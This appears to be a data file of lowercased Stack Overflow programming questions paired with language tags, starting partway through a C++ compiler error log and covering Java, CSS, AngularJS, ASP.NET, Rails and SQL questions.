/fobuild\temp.win-amd64-2.7\release\implicit\bpr.obj /o2 /openmp   bpr.cpp   c:\users\shiro\appdata\local\programs\common\microsoft\visual c++ for python\9.0\vc\include\xlocale(342) : warning c4530: c++ exception handler used  but unwind semantics are not enabled. specify /ehsc   implicit\bpr.cpp(954) : error c2039:  mt19937  : is not a member of  std    implicit\bpr.cpp(954) : error c2065:  mt19937  : undeclared identifier   implicit\bpr.cpp(955) : error c2039:  uniform_int_distribution  : is not a member of  std    implicit\bpr.cpp(955) : error c2065:  uniform_int_distribution  : undeclared identifier   implicit\bpr.cpp(955) : error c2062: type  long  unexpected   implicit\bpr.cpp(956) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(966) : error c2143: syntax error : missing  ;  before  {    implicit\bpr.cpp(981) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(991) : error c2143: syntax error : missing  ;  before  {    implicit\bpr.cpp(994) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(1004) : error c2143: syntax error : missing  ;  before  {    implicit\bpr.cpp(1017) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(1027) : error c2143: syntax error : missing  ;  before  {    implicit\bpr.cpp(1032) : error c2059: syntax error :  )    implicit\bpr.cpp(1033) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(1045) : error c2143: syntax error : missing  ;  before  {    implicit\bpr.cpp(1047) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(1060) : error c2143: syntax error : missing  ;  before  {    implicit\bpr.cpp(1062) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(1074) : error c2143: syntax error : missing  ;  before  {    implicit\bpr.cpp(1075) : error c2059: syntax error :  )    implicit\bpr.cpp(1076) : error c2059: syntax error :  )    implicit\bpr.cpp(1077) : error c2059: syntax error :       implicit\bpr.cpp(1077) : error c2059: syntax error :  )    implicit\bpr.cpp(1078) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1079) : error c2059: syntax error :       implicit\bpr.cpp(1079) : error c2059: syntax error :  )    implicit\bpr.cpp(1080) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1081) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1082) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(1094) : error c2143: syntax error : missing  ;  before  {    implicit\bpr.cpp(1096) : error c2143: syntax error : missing  ;  before  }    implicit\bpr.cpp(1165) : error c2065:  attr_name  : undeclared identifier   implicit\bpr.cpp(1165) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1165) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1178) : error c2065:  kw_name  : undeclared identifier   implicit\bpr.cpp(1178) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1178) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1181) : error c2065:  argnames  : undeclared identifier   implicit\bpr.cpp(1181) : error c2059: syntax error :  ]    implicit\bpr.cpp(1182) : error c2065:  kwds2  : undeclared identifier   implicit\bpr.cpp(1182) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1182) : error c2146: syntax error : missing     before identifier  values    implicit\bpr.cpp(1182) : error c2065:  values  : undeclared identifier   implicit\bpr.cpp(1182) : error c2059: syntax error :  ]    implicit\bpr.cpp(1183) : error c2146: syntax error : missing     before identifier  function_name    implicit\bpr.cpp(1183) : error c2065:  function_name  : undeclared identifier   implicit\bpr.cpp(1183) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1190) : error c2065:  arg  : undeclared identifier   implicit\bpr.cpp(1190) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1190) : error c2146: syntax error : missing     before identifier  kw    implicit\bpr.cpp(1190) : error c2065:  kw  : undeclared identifier   implicit\bpr.cpp(1190) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1213) : error c2065:  type  : undeclared identifier   implicit\bpr.cpp(1213) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1213) : error c2146: syntax error : missing     before identifier  value    implicit\bpr.cpp(1213) : error c2065:  value  : undeclared identifier   implicit\bpr.cpp(1213) : error c2146: syntax error : missing     before identifier  tb    implicit\bpr.cpp(1213) : error c2065:  tb  : undeclared identifier   implicit\bpr.cpp(1213) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1214) : error c2065:  type  : undeclared identifier   implicit\bpr.cpp(1214) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1214) : error c2146: syntax error : missing     before identifier  value    implicit\bpr.cpp(1214) : error c2065:  value  : undeclared identifier   implicit\bpr.cpp(1214) : error c2146: syntax error : missing     before identifier  tb    implicit\bpr.cpp(1214) : error c2065:  tb  : undeclared identifier   implicit\bpr.cpp(1214) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1232) : error c2065:  value  : undeclared identifier   implicit\bpr.cpp(1232) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1232) : error c2146: syntax error : missing     before identifier  tb    implicit\bpr.cpp(1232) : error c2065:  tb  : undeclared identifier   implicit\bpr.cpp(1232) : error c2146: syntax error : missing     before identifier  cause    implicit\bpr.cpp(1232) : error c2065:  cause  : undeclared identifier   implicit\bpr.cpp(1232) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1246) : error c2065:  args  : undeclared identifier   implicit\bpr.cpp(1246) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1246) : error c2146: syntax error : missing     before identifier  nargs    implicit\bpr.cpp(1246) : error c2065:  nargs  : undeclared identifier   implicit\bpr.cpp(1246) : error c2146: syntax error : missing     before identifier  kwargs    implicit\bpr.cpp(1246) : error c2065:  kwargs  : undeclared identifier   implicit\bpr.cpp(1246) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1254) : error c2065:  arg  : undeclared identifier   implicit\bpr.cpp(1254) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1254) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1258) : error c2065:  arg  : undeclared identifier   implicit\bpr.cpp(1258) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1258) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1269) : error c2065:  op2  : undeclared identifier   implicit\bpr.cpp(1269) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1269) : error c2146: syntax error : missing     before identifier  intval    implicit\bpr.cpp(1269) : error c2065:  intval  : undeclared identifier   implicit\bpr.cpp(1269) : error c2146: syntax error : missing     before identifier  inplace    implicit\bpr.cpp(1269) : error c2065:  inplace  : undeclared identifier   implicit\bpr.cpp(1269) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1277) : error c2065:  op2  : undeclared identifier   implicit\bpr.cpp(1277) : error c2275:  pyobject  : illegal use of this type as an expression           c:\python27\include\object.h(108) : see declaration of  pyobject    implicit\bpr.cpp(1277) : error c2146: syntax error : missing     before identifier  intval    implicit\bpr.cpp(1277) : error c2065:  intval  : undeclared identifier   implicit\bpr.cpp(1277) : error c2146: syntax error : missing     before identifier  inplace    implicit\bpr.cpp(1277) : error c2065:  inplace  : undeclared identifier   implicit\bpr.cpp(1277) : error c2143: syntax error : missing     before  )    implicit\bpr.cpp(1277) : fatal error c1003: error count exceeds 100; stopping compilation   error: command  c:\\users\\shiro\\appdata\\local\\programs\\common\\microsoft\\visual c++ for python\\9.0\\vc\\bin\\amd64\\cl.exe  failed with exit status 2    ----------------------------------------   failed building wheel for implicit   running setup.py clean for implicit failed to build implicit installing collected packages: implicit   running setup.py install for implicit ... error   [...] </code></pre>,python
how to know the cardinalities from sql-ddl schema   my question is how to know from the sql-ddl schema that a relation is one-to-one or many-to-many or one-to-many     thanks,sql
confused with c++  simple  calculation with sign &  i am looking at a c++ source code where there is what looks to be a simply calculation. yet with no knowledge in c++  i can t quite understand how it is really calculated (my goal being making the same calculation under excel).   <pre><code>uint64_t fpo = (((ui&gt;&gt;32) &lt;&lt; 24) | (ui &amp; 0xffffff)) + 0x123e00; printandlog( ui result : %lld [0x%llx]   ui  ui); </code></pre>   in my case  ui is 0x0f007057b9 and the result is 0xf8295b9    if i take the windows calculator  i do (in hex mode)    <pre><code>(0x0f007057b9 and 0xffffff) + 0x123e00 </code></pre>   i am getting the same result (expect for the first 0xf)    i have read somewhere that and returns 1 if both bits of same  weigh  are 1 so if i take ui and 0xffffff converted to binary :   <pre><code>0x0f007057b9 0000111100000000011100000101011110111001 0xffffff                     111111111111111111111111 -------------------------------------------------------              0000111100000000011100000101011110111001 </code></pre>   which does make any change...    am i completely going to wrong way   sorry for my poor english  i am from south korea. thank you for helping me {^^;,c++
is it possible to create multi-level ordered list in html   i want this:   <pre><code>1. main   1.1 sub1   1.2 sub2 2. main2   2.1 sub3 </code></pre>   is it possible to do this in html   thanks.,html
break a loop form another method  i m having two methods  one method (named a) provides loop and sends loop value to another method(named b). if the condition in method b is satisfied  the loop from a should stop. how can i implement it.   <pre><code>void a() {     for(int i=0;i&lt;10;i++)         b(i); }  void b(int x) {     if(x==4)         //i want to stop the loop of a     } </code></pre>,java
how to make a rectangle/square with curved edges in html  <blockquote>    <strong>possible duplicates:</strong><br>   <a href= https://stackoverflow.com/questions/4000669/css-html-help-in-making-rounded-table-like-container >css/ html help in making rounded table like container</a><br>   <a href= https://stackoverflow.com/questions/7089/what-is-the-best-way-to-create-rounded-corners-using-css >what is the best way to create rounded corners using css </a>    </blockquote>     how to make a rectangle/square with curved edges in html,html
jwplayer error ‘video not found or access denied’  i am running an intranet with no internet access.  using server2003 iis6  i cannot get jwplayer or any player  to show files when run from the iis server.  i continually get an ‘video not found or access denied’ error.  it works fine when web page is run locally on any computer  just not from the server. i’ve checked the mime settings and the path is ok. help!!,jquery
switch statement not working correctly  i have this block of switch statements  which the control variable has type string. i compared the value of this variable with another string in an if statement  it works. but it doesn t work if i put it in a switch statement.    the code is below:   <pre><code>type = $( sertype );     if (type ==  age ){         logger.info( age .tolowercase());     }     switch (type){         case  tv :             columnheader =   ;             break;         case  age :         logger.info( i am in age case );             columnheader =   id    pat_name    pat_age   ;             break;                       default:         logger.info( i am in default case );             break;     } </code></pre>,javascript
converting a project from .net 4.5.2 to .net standard 1.4  i m working on upgrading my companies enterprise logging library from .net 4.5.2 to .net standard 1.4. as expected a lot of the dependencies aren t compatible. my googlefu is failing me and i was wondering if anyone knows of a resource where i can find out where some of my dependencies have been moved in .net standard.,.net
extending asp.net roles to include social network type membership on a per user basis  im creating a site and have implemented auth and roles using the std setup in asp.net.  i would now like to implement a social network memberships structure on top. with custom roles of membership between users.     how can i extend the default asp.net tables to accommodate my custom membership auth and roles structure between members.    any help or guidance to already established practices for this problem would be greatly appreciated.,asp.net
data edit - modal bootstrap  i have a problem with editing data in the bootstrap modal.    the problem is that in the modal  only first record from the database is displayed.    modal only displays the problem because it retrieves data from 1 record.    could it show me something wrong with the code  that it only gets 1 record for me     my code angularjs:   <pre><code>controllersadmin.controller( linkedit   function( $scope  $http  $routeparams  $timeout){     var linkid = $routeparams.id;     $scope.id = linkid;    $scope.link = function( link ){     $http({       method:  get         url:  api/admin/links/get/  + linkid      }).then(function (response){      $scope.link = response.data.records;    } function (error){     console.log( blad we wczytywaniu danych );    });  }     $scope.savechanges = function( link ){     $http({       method:  post   url:  api/admin/links/update/   data: { link  : link}}         ).then(function (){         $scope.success = true;     } function (error){       console.log( blad we wczytywaniu danych );     });    }  });  &lt;tr ng-repeat= link in link &gt;         &lt;td&gt;{{$index+1}}&lt;/td&gt;         &lt;td&gt;&lt;a href= {{link.links}} &gt;{{link.links | limitto:50}}...&lt;/a&gt;&lt;/td&gt;          &lt;td&gt;{{ link.login }}&lt;/td&gt;         &lt;td&gt;{{link.password}}&lt;/td&gt;         &lt;td&gt;{{link.date}}&lt;/td&gt;         &lt;td&gt;            &lt;button ng-click= deletelink(link  $index)  class= btn btn-danger &gt;&amp;times;&lt;/button&gt;         &lt;button data-toggle= modal  ng-click= edtlnk(link)  data-target= #edit-data  class= btn btn-primary &gt;edit&lt;/button&gt;        &lt;div class= modal fade  id= edit-data  tabindex= -1  role= dialog  aria-labelledby= mymodallabel &gt;           &lt;div class= modal-dialog  role= document &gt;               &lt;div class= modal-content &gt;                   &lt;form method= post  name= editlinke  role= form  ng-submit= savechanges( link ) &gt;                    &lt;div class= modal-header &gt;                       &lt;button type= button  class= close  data-dismiss= modal  aria-label= close &gt;&lt;span aria-hidden= true &gt;×&lt;/span&gt;&lt;/button&gt;                       &lt;h4 class= modal-title  id= mymodallabel &gt;edit item&lt;/h4&gt;                   &lt;/div&gt;                   &lt;div class= modal-body &gt;                       &lt;div class= container &gt;                           &lt;div class= row &gt;                               &lt;div class= col-xs-12 col-sm-6 col-md-6 &gt;                                   &lt;div class= form-group &gt;                                     &lt;input type= text  class= form-control  ng-model= link.login &gt;                                      &lt;input type= text  class= form-control  ng-model= link.password &gt;                                 &lt;input type= text  class= form-control  ng-model= link.links &gt;                                   &lt;/div&gt;                               &lt;/div&gt;                            &lt;/div&gt;                           &lt;button type= button  class= btn btn-default  data-dismiss= modal &gt;close&lt;/button&gt;                           &lt;button type= submit  class= btn btn-primary &gt;submit&lt;/button&gt;                       &lt;/div&gt;                   &lt;/div&gt;                   &lt;/form&gt;               &lt;/div&gt;           &lt;/div&gt;       &lt;/div&gt;         &lt;/td&gt;       &lt;/tr&gt; </code></pre>,angularjs
css sprite displaying all images  i am trying to use 1 single image file containing 4 images and display them using css sprite. somehow  all 4 images are displayed. i was referring to one of the examples in w3schools.   <pre><code>&lt;div id= viewtypecontainer  style= float: right; margin-top: 10px; margin-right: 10px; &gt;   &lt;img id= calendarview  alt=   src= /images/buttontoggle.png  height= 1  width= 1 /&gt;   &lt;img id= grdview  alt=   src= /images/buttontoggle.png  height= 1  width= 1  /&gt; &lt;/div&gt;  css:  #viewtypecontainer img#calendarview {     width:82px;     height:82px;     background: url( /images/buttontoggle.png ) 0 0; }  #viewtypecontainer img#grdview  {     width:82px;     height:82px;     background: url( /images/buttontoggle.png ) -30px 0; } </code></pre>   my image file is in .png format:    <img src= https://i.stack.imgur.com/kaqxv.png  alt= enter image description here >    can anyone spot my mistake  thanks.,css
replace html_safe with content_tag in rails  so i m working on a pretty simple project. we have the following coming in for a post s content:  here is some text .    right now it looks like this in the view:   <pre><code>&lt;%= raw @post.content %&gt; </code></pre>   this works perfectly but it s failing in lint with a warning  tagging a string as html safe may be a security risk  prefer  safe_join  or other rails tag helpers instead.    so i moved to using:   <pre><code>&lt;%= @post.content.html_safe %&gt; </code></pre>   same lint warning. i tried using h @post.content but i get all the html crud.    so then i switched to:   <pre><code>&lt;%= content_tag @post.content %&gt;  </code></pre>   works except it displays the following: &lt; here is some text >    so 1. why is it displaying them  2. how do i get rid of them  is content_tag the best replacement for raw,ruby-on-rails
evenly distribute n number of queries amongst s number of servers  here is the problem: need to distribute n number of queries amongst s number of servers.have come up with this.the solution is allocating queries to servers but deleting the previous count of the number of queries the server has.can someone suggest what i am doing wrong    <pre><code>public class servers&lt;t&gt; {     public int serverid;      public arraylist&lt;queries&gt; querylist;     public servers()     {      }      public int getserverid() {         return serverid;     }     public arraylist&lt;queries&gt; getquerylist() {         return querylist;     }     public void setquerylist(arraylist&lt;queries&gt; querylist) {         this.querylist = querylist;     }     public void setserverid(int serverid) {         this.serverid = serverid;     }   } </code></pre>   queries class:   <pre><code>public class queries {     private static final int noofservers=10;      private string query;     private int queryid;     private int size=0;     private servers[] ser=new servers[noofservers]; //getters and setters for instance variables for queries class &lt;not included&gt; public int allocatem(queries query)     {         arraylist&lt;queries&gt; querylist=new arraylist&lt;queries&gt;();         int i=size;         if(i &lt; ser.length)         {             qlist.add(query);             ser[i].setquerylist(qlist);             system.out.println( size  + ser[i].getquerylist());             size++;         }         else    if(i==ser.length)         {             size=0;             i=0;           }            return ser[i].serverid;     } </code></pre>,java
moving back from one activity to another with parameter  i am moving from activity a to b  and then under certain situation (without pressing back button) moving back from b to a from outside of <code>oncreate()</code> method of b along with a string value which i have to display on a textview on activity a. i am trying to use <code>finish()</code> and <code>super.finish()</code> methods but they are not working may be i am using them out side of <code>oncreate()</code> method of b  so my questions are:   <ol> <li> how can i move back from b to a from outside of the <code>oncreate()</code> method of b    </li> <li> how to pass a parameter while moving back from b to a        </li> <li> how to receive that parameter in a while moving back from b to a  </li> </ol>   below is code i am using to move from a to b   <pre><code>intent intent = new intent(a.this  b.class);                      startactivity(intent); </code></pre>   thanks for you help,android
single submit button for a form which has two or three hiding divs  how to have a single submit button for a form which has two or three hiding divs using jquery can any one provide me a live example of it.    thanks in advance. -ashwan,jquery
checkboxlist in hidden div  i have a checkboxlist within a div.  the div appears as a modal popup when a button is clicked.  then the user checks off any number of items in the checkboxlist and clicks ok.  this hides the div.    once the user clicks the save button on the main form  i need to pass parameters to a stored procedure based on which items in the checkboxlist were clicked  but they are always set to unchecked when i run the save code.  i d love some thoughts on how to do this properly.    thanks    jquery:   <pre><code> $(document).ready(function () {         $( #&lt;%=txtlang.clientid %&gt; ).click(function () {             $( #overlay-back ).dialog({                 resizable: false                  modal: true                  width: 500                  height: 400                  buttons: {                     ok: function () {                         getlanguages();                         $(this).dialog( close );                     }                      cancel: function () {                         $(this).dialog( close );                     }                 }             });         });     }); </code></pre>   save method in codebehind   <pre><code>  private void save()   {         list&lt;string&gt; lstitemschecked = new list&lt;string&gt;();          for (int i = 0; i &lt; chktoplanguages.items.count; i++)         {             if(chktoplanguages.items[i].selected)                 lstitemschecked.add(chktoplanguages.items[i].value);         }         //stored proc call   }    protected void btnsubmit_click(object sender  eventargs e)   {          save();   } </code></pre>   aspx code for div popup and checkboxlist   <pre><code> &lt;div id= overlay-back  style= display:none; &gt;   &lt;td rowspan= 3  valign= top &gt;      &lt;asp:checkboxlist id= chktoplanguages  textalign= right  runat= server  /&gt;            &lt;br /&gt;      &lt;asp:textbox runat= server  id= txtotherlanguages  text= other languages... &gt;&lt;/asp:textbox&gt;   &lt;/td&gt;  &lt;/div&gt; </code></pre>,asp.net
can angularjs broadcast event can be executed twice   i want to execute angularjs broadcast event twice  because i want to change the logic inside angularjs broadcast event. i want to again execute angularjs broadcast event when first finishes. it should wait for one to finish and again execute for second time. how to do that,angularjs
rotating a dial in android  i need to rotate my image in my on touch listener when the user touches it. i am rotating a dial graphic  so it needs to rotate around its center point. does anyone have an example,android
how can i integrate user input (using scanner) into a while loop for calculating the 1+2+3+....n where n is any positive integer   i m having trouble solving part 1b from this problem.    1a. write a program called countloop.java that contains a main method with a loop that will compute and print the sum of all the integers between 1 and 100  inclusive. execute your program to verify that the output is correct.    <pre><code>public class countloop{    public static void main(string[] args){        int sum = 0;         int i = 0;       // i is 0 here         while (i&lt;=100) {         sum += i;          i++;     }     system.out.println( the sum is   + sum);  } } </code></pre>   1b. after you have the program working  refactor it so you can compute 1 + 2 + … + n where n is any positive integer. in other words  your revised program should prompt the user to enter a number  read the user input  calculate the sum of the integers from 1 to the input value  and output the sum.   <pre><code>    import java.util.scanner;     public class countloop{         public static void main(string[] args){             system.out.println( please enter a positive whole number );             scanner input = new scanner(system.in);             int sum = 0;             int i = 0;             int userinput = input.nextint();              while (i&lt;=userinput){                 sum += i;                 i++;              system.out.println( sum of this number:   + input.nextint() +   is   + sum);         }     } } </code></pre>,java
initwithtarget  a variable twice  i have a viewcontroller showing some content. in header file  i defined an instance variable named _clientrequest  which is a classa object. classa deals with downloading json from server.     for different users  there are 1 or 2 places using classa in the controller.     currently my codes are like this    <pre><code>// 1st request. every user will do this.  _clientrequest = [classa alloc] initwithtarget......];  [_clientrequest download];  ...  // 2nd request. some user will do this.  _clientrequest = [classa alloc] initwithtarget......];  [_clientrequest upload]; </code></pre>   you may notice that _clientrequest  alloc  and  initwithtarget  twice. in the future  server request may be much more in this controller. so i don t want to declare 1 variable for 1 request. is anything wrong in above codes  if a variable is alloc and initialized  how about re-alloc and re-initialize it  i run the app and no crash happens.     i am a newbie in obj-c. and english is not my native language. hope you can understand.     thanks in advance!,objective-c
undefined method in rails 4 <pre><code>ruby version 2.15 rails version 4.2.15 </code></pre>   in my app/views/organizations/index.html.erb  i have:   <pre><code>&lt;table class= table table-striped &gt;   &lt;thead&gt;   &lt;tr&gt;     &lt;th&gt;&lt;%= sortable  org_name    organization  %&gt;&lt;/th&gt;     &lt;th&gt;&lt;%= sortable  city    city  %&gt;&lt;/th&gt;     &lt;th colspan= 3 &gt;&lt;/th&gt;   &lt;/tr&gt;   &lt;/thead&gt;   </code></pre>   in my app/controllers/organizations_controller.rb  i have the following:   <pre><code>include applicationhelper helper_method :sort_column  :sort_direction    private   def sort_direction     %w[asc desc].include (params[:sort_direction])    params[:sort_direction] :  asc    end   def sort_column     organization.column_names.include (params[:sort_order])   params[:sort_order] :  org_name    end    </code></pre>   in my app/helpers/application_helper.rb  i have the following:   <pre><code>  def sortable(column  title = nil)     title ||= column.titleize     direction = (column == params[:sort_order] &amp;&amp; params[:sort_direction] ==  asc )    desc  :  asc      link_to title  :sort_order =&gt; column  :sort_direction =&gt; direction   end </code></pre>   when i click on the column head (organization)  i get an error message:   <pre><code>undefined method  sortable  </code></pre>   and it points to app/views/index.html.erb       what am i doing wrong      <h1>clarification:</h1>   this works fine if i put the sortable method in organizations_helper.rb  but the point of putting it in application_helper.rb is that it could be available to other models as well (i have a couple of other models where i can use this functionality),ruby-on-rails
ambiguous constructor (java 7)... the only way around this is a builder pattern  right   this code compiles fine under java 6  but when switching to java 7 results in a compile time error  reference to foo is ambiguous  both constructor &lt;i c&gt;foo(c) in com.company.foo and constructor &lt;i&gt;foo(i) in com.company.foo match    <pre><code>/**  * constructor a - acts on a collection of iterables  */ public &lt;i extends iterable&lt;t&gt;  c extends collection&lt;i&gt;&gt; foo(c intervalseries) {     initialize(intervalseries); }  /**  * constructor b - convenience constructor for callers who only have 1 iterable  */ public &lt;i extends iterable&lt;t&gt;&gt; foo(i intervals) {     list&lt;i&gt; intervalseries = newarraylist(1);     intervalseries.add(intervals);     initialize(intervalseries); } </code></pre>   i can see why (collections <i>are</i> iterables).  i m planning on writing a builder helper class than differentiates the two construction options by providing a differently-named builder method to get around this  but before i do i thought i d ask: there s no magic wildcard or super incantation that s going to get me out of this  right,java
member variable polymorphism & argument by reference  i m new to c++ and have a question about member variable polymorphism. i have the following class definitions -   <pre><code>class car {     public:         car();         virtual int getnumberofdoors() { return 4; } };  class threedoorcar : public car {     public:         threedoorcar();         int getnumberofdoors() { return 3; } };  class carprinter {     public:         carprinter(const car&amp; car);         void printnumberofdoors();      protected:         car car_; }; </code></pre>   and implementation   <pre><code>#include  car.h   car::car() {}  threedoorcar::threedoorcar() {}  carprinter::carprinter(const car&amp; car) : car_(car) {}  void carprinter::printnumberofdoors() {     std::cout &lt;&lt; car_.getnumberofdoors() &lt;&lt; std::endl; } </code></pre>   the problem is when i run the following  the getnumberofdoors of the parent class is called. i can get around this issue by making the member variable car a pointer  but i prefer to pass in the input by reference instead of by pointer (which i understand to be preferred). could you tell me what i m doing wrong  thanks!   <pre><code>threedoorcar mythreedoorcar; std::cout &lt;&lt; mythreedoorcar.getnumberofdoors() &lt;&lt; std::endl;  carprinter carprinter(mythreedoorcar); carprinter.printnumberofdoors(); </code></pre>,c++
mysql insert statement where one value is given and on obtain from a subquery  i have the following query:    <pre><code>insert into `area`(name  fk_hub_id) values ( $name  select  id  from hub where name =  $hub_name )   </code></pre>   what i am trying to do is insert a value (name= $name) which is obtained from a from and then the foreign key id of a certain hub which is obtained by the sub-query.    when i run this query i get the following error:    <blockquote>    1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  select  id  from hub where name =  eastern_cape )  at line 1.    </blockquote>   is my query incorrect   any suggestions how to do it,mysql
3 divs rearrange div stack on mobile  <img src= https://i.stack.imgur.com/byewn.jpg  alt= enter image description here >    desktop  a - 30% b - 30% c - 70%    all 100% on mobile     hi trying to achieve the following layout   taught about inclosing a and b in a container   but that wont work on mobile   i m sure one of you css junkies   has the answer. i am familiar with media queries.    this is what i got so far which is not right   <pre><code>&lt;div id= a &gt;a&lt;/div&gt; &lt;div id= b &gt;b&lt;/div&gt; &lt;div id= c &gt;c&lt;/div&gt;  #a{     width : 30%;     background-color : black; } #b{     width : 30%;     background-color : orange;   } #c{     width : 70%;     background-color : green;     float : right; } </code></pre>   <a href= http://jsfiddle.net/ycjll/  rel= nofollow noreferrer >http://jsfiddle.net/ycjll/</a>,css
inproc session usage in server farms  i m reading asp.net 4 unleashed and i came to this sentence.  when session state is stored in-process  it is stored on a particular web server. in other words  you can t use in-process session state with a web farm.     ooops. i m building a web app that uses and depends on storing dictionaries in the session. now i know that there s some problem with serialization of dictionaries when using sessions but with inproc sessions  there s no serialization so i thought i d be ok. but now i m wondering: will i have any nasty surprise when i go to host my application     thanks.,asp.net
passing age range values in params  i understand how to perform a specific age search  what i need help with is passing in params an age range search.    with the code below params outputs as: <code>age=18&amp;age=25</code>    i instead would like for it to search users 18..25  as oppose to specific age values 18 and 25.   <pre><code>  .select1                     .col.col3.col33 style= width:175px;                        label ages                       = select_tag :age  options_for_select((18..65) 18)  {class:  small }                    .select5                     .col.col4                       label to                       = select_tag :age  options_for_select((20..65) 65)  {class:  small } </code></pre>,ruby-on-rails
compile my source code using iphone sdk without xcode ide  i hope to compile my source codes using iphone sdk  but i do not hope to compile in xcode. is it possible  and how to do if i hope to get the xcode compiling scripts     welcome any comment.    thanks    interdev,iphone
definitive way to do three-column layout in css  i have a really  really simple css question that has already been asked here a thousand times already in different forms  and seems to have no definitive answer.    i just want to create three columns on an html page  using css. doesn t matter about fixed-width versus liquid: just need three columns.     here s a complete html page:   <pre><code>&lt;html&gt; &lt;body&gt; &lt;div id= left  style= float:left; width:300px; &gt; &lt;h3&gt;column 1&lt;/h3&gt; &lt;/div&gt; &lt;div id= right  style= float:right; width:300px; &gt; &lt;h3&gt;column 3&lt;/h3&gt; &lt;/div&gt; &lt;div id= middle &gt; &lt;h3&gt;column 2&lt;/h3&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   in chrome  at least  this is pushing the left &amp; right columns down below the middle. what is wrong,css
how to store state in profiles  <pre><code>&lt;profile&gt;           &lt;properties&gt;               &lt;add name= name  allowanonymous= true  /&gt;               &lt;add name= age  allowanonymous= true  type= system.int16 /&gt;           &lt;/properties&gt;           &lt;providers&gt;               &lt;add name= aspnetsqlprofileprovider                     connectionstringname= profileservices                     applicationname= /                     type= system.web.profile.sqlprofileprovider  /&gt;           &lt;/providers&gt;     &lt;/profile&gt;  &lt;connectionstrings&gt;     &lt;add name= applicationservices           connectionstring= data source=.\sqlexpress;integrated security=sspi;attachdbfilename=|datadirectory|\aspnetdb.mdf;user instance=true           providername= system.data.sqlclient  /&gt;       &lt;add name= profileservices             connectionstring= data source=chandan-pc;database=testdb;integrated security=sspi;             /&gt;    &lt;/connectionstrings&gt; </code></pre>   i get the following error : the sse provider did not find the database file specified in the connection string. at the configured trust level (below high trust level)  the sse provider can not automatically create the database file.,asp.net
map auto expire elements that are not accessed  is there a implementation of java.util.map that automatically expires its entries when not accessed for specified amount of time. i found many libraries that auto expires entry with some time limits. but i have extra condition. entry should be removed only when it is not accessed for the time duration.,java
how to add event handlers to a dynamically created textbox control from server side code in asp.net  i have a gridview control wherein i have added textbox in coloumn 5 &amp; 6 dynamically from server side code as below:   <pre><code>protected void onrowdatabound(object sender  gridviewroweventargs e)     {         if (e.row.rowtype == datacontrolrowtype.datarow)         {             system.web.ui.webcontrols.textbox txtfrom = new system.web.ui.webcontrols.textbox();             txtfrom.id =  txtfrom ;             txtfrom.width = 70;             txtfrom.autopostback = true;             txtfrom.textchanged += new system.eventhandler(this.txtfrom_changed);             e.row.cells[5].controls.add(txtfrom);              system.web.ui.webcontrols.textbox txtto = new system.web.ui.webcontrols.textbox();             txtto.id =  txtto ;             txtto.width = 70;             txtto.autopostback = true;             txtto.textchanged += new system.eventhandler(this.txtto_changed);             e.row.cells[6].controls.add(txtto);         }     } </code></pre>   however when i am calling the textchanged event (code shown below)  the textboxes are disappearing.   <pre><code>protected void txtto_changed(object sender  eventargs e)     {         system.web.ui.webcontrols.textbox textbox = (sender as system.web.ui.webcontrols.textbox);         myalert(textbox.id +   text changed value:   + textbox.text);     } </code></pre>   request you to suggest why this is happening and how can i solve this.    thanking you all in anticipation.,c#
what are some ways to implement a show more/less with my unordered list  i have a section in my angularjs web page that contains an unordered list. sometimes the list can be very long and i would like to implement a  show more/less  feature defaulting to show less. show top 3 if in show less mode.    here is the angularjs snippet:   <pre><code>&lt;p&gt;&lt;i&gt;key responsibilities&lt;/i&gt;&lt;/p&gt; &lt;ul&gt;     &lt;li ng-repeat= contribution in emp.contributions &gt;{{contribution}}&lt;/li&gt; &lt;/ul&gt; </code></pre>,angularjs
